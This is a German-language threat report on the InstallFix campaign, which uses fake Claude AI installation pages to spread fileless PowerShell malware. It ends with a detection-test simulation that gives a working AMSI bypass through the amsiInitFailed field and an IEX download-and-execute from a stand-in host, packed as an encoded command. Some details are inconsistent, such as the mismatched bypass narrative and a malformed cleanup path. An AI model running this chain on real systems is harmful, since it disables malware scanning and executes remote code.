InstallFix und Claude-Code: Wie gefälschte Installationsseiten zu echtem Schaden führen

Zusammenfassung

Die InstallFix-Kampagne verbreitet Malware durch bösartige Google-Anzeigen, die Claude AI-Installationsseiten imitieren. Opfer werden dazu überredet, PowerShell-Befehle auszuführen, die mshta.exe aufrufen, um eine Polyglot-ZIP- und HTA-Datei abzurufen, die dann eine mehrstufige, dateilose Infektionskette startet. Die Nutzlast deaktiviert die SSL-Validierung und AMSI-Schutzmechanismen, lädt zusätzlichen Code von einer opferspezifischen Command-and-Control-Domain herunter und schafft Persistenz durch geplante Aufgaben. Die Operation hat Organisationen in verschiedenen Branchen und Regionen weltweit ins Visier genommen.

Untersuchung

Forscher verfolgten den gesamten Ausführungsfluss von der gefälschten Installationsseite über mshta.exe, VBScript und mehrere Schichten kodierter PowerShell. Das Deobfuskieren zeigte, dass die Malware eine eindeutige Kennung für jedes Opfer generierte und diese nutzte, um eine hostspezifische Command-and-Control-URL zu erstellen. Netzwerktelemetrie enthüllte ausgehende Kommunikation mit mehreren bösartigen Domains und IP-Adressen. Obwohl die endgültige Nutzlast nicht vollständig wiederhergestellt werden konnte, deutete das beobachtete Verhalten auf Aktivitäten zur Datenverarbeitung und Datenexfiltration hin.

Abschwächung

Verteidiger sollten den Zugriff auf die identifizierten bösartigen Domains und IP-Adressen blockieren und den Einsatz von mshta.exe und anderen veralteten Skripting-Tools wann immer möglich einschränken. Endpunktsicherheitseinstellungen sollten so angepasst werden, dass AMSI-Umgehungsversuche und SSL-Validierungsmanipulationen erkannt werden. Organisationen sollten auch strikte URL-Filterung für Google Ads-Traffic, der zu Software-Installationsseiten führt, durchsetzen. Benutzerbewusstsein bleibt entscheidend, insbesondere im Hinblick auf das Risiko, Befehle aus gesponserten Suchergebnissen oder von nicht verifizierten Quellen auszuführen.

Reaktion

Sicherheitsteams sollten bei Prozessketten Alarm schlagen, in denen mshta.exe startet cmd.exe, powershell.exe, oder Skriptinterpreter mit verdächtigen Remote-URLs. Diese Ereignisse sollten mit der Erstellung geplanter Aufgaben und ausgehenden Verbindungen zur bekannten Command-and-Control-Infrastruktur korreliert werden. Wenn Aktivität bestätigt wird, sollten Verteidiger den Host isolieren, die bösartigen Prozesse beenden und alle Persistenzmechanismen wie geplante Aufgaben entfernen. Danach sollte eine forensische Überprüfung durchgeführt werden, um verbleibende dateilose Nutzlastkomponenten zu identifizieren.

Simulation Ausführung

Voraussetzung: Die Telemetrie- und Basislinien-Pre-Flight-Überprüfung muss bestanden sein.

Begründung: Dieser Abschnitt beschreibt die genaue Ausführung der Angreifertechnik (TTP), die entwickelt wurde, um die Erkennungsregel auszulösen. Die Befehle und Erzählungen MÜSSEN die identifizierten TTPs direkt widerspiegeln und zielen darauf ab, die genaue Telemetrie zu erzeugen, die von der Erkennungslogik erwartet wird. Abstrakte oder nicht verwandte Beispiele führen zu Fehldiagnosen.

• Angriffserzählung & Befehle:
  Der Angreifer erhält ein bösartiges PowerShell-Skript über einen Spearphishing-Link (T1566.002), das eine Nutzlast von einem kompromittierten Server herunterlädt. Um AMSI-Erkennung zu vermeiden, injiziert das Skript die Zeichenkette AMSI_RESULT_NOT_DETECTED in den Prozesspeicher, dann wird der IEX Operator verwendet, um den heruntergeladenen Code auszuführen. Der gesamte Befehl ist in Base64-codiert und wird mit dem -EncodedCommand Flagge gestartet, was alle drei Selektor-Strings in der Sigma-Regel erfüllt.

  Schritt für Schritt:

  1. Laden Sie die bösartige Nutzlast herunter (ein einfacher PowerShell-Einzeiler, der eine Datei schreibt).
  2. Injizieren Sie den AMSI-Bypass-Marker durch Setzen des privaten statischen Feldes amsiInitFailed.
  3. Führen Sie die Nutzlast aus via IEX.
  4. Starten Sie die gesamte Kette mit powershell.exe -EncodedCommand ….

• Regressionstest-Skript:

  # InstallFix-artige PowerShell-Angriffssimulation
  # -------------------------------------------------
  # 1. Definieren Sie den bösartigen Einzeiler
  $malicious = @"
  `$bypass = [Ref].Assembly.GetType('System.Management.Automation.AmsiUtils')
              .GetField('amsiInitFailed','NonPublic,Static')
  `$bypass.SetValue(`$null,$true)
  IEX (New-Object Net.WebClient).DownloadString('http://example.com/payload.ps1')
  "@
  
  # 2. Codieren Sie das Skript in UTF-16LE und dann in Base64 (erforderlich von PowerShell)
  $bytes = [System.Text.Encoding]::Unicode.GetBytes($malicious)
  $encoded = [Convert]::ToBase64String($bytes)
  
  # 3. Ausführen über powershell.exe mit der Option -EncodedCommand
  $command = "powershell.exe -NoProfile -EncodedCommand $encoded"
  Write-Host "Starte bösartige PowerShell..."
  Invoke-Expression $command

• Cleanup Commands:

  # Entfernen Sie alle temporären Dateien und beenden Sie verbleibende Prozesse
  Get-Process -Name powershell -ErrorAction SilentlyContinue | Stop-Process -Force
  Remove-Item -Path "$env:TEMPpayload.ps1" -ErrorAction SilentlyContinue
  Write-Host "Bereinigung abgeschlossen."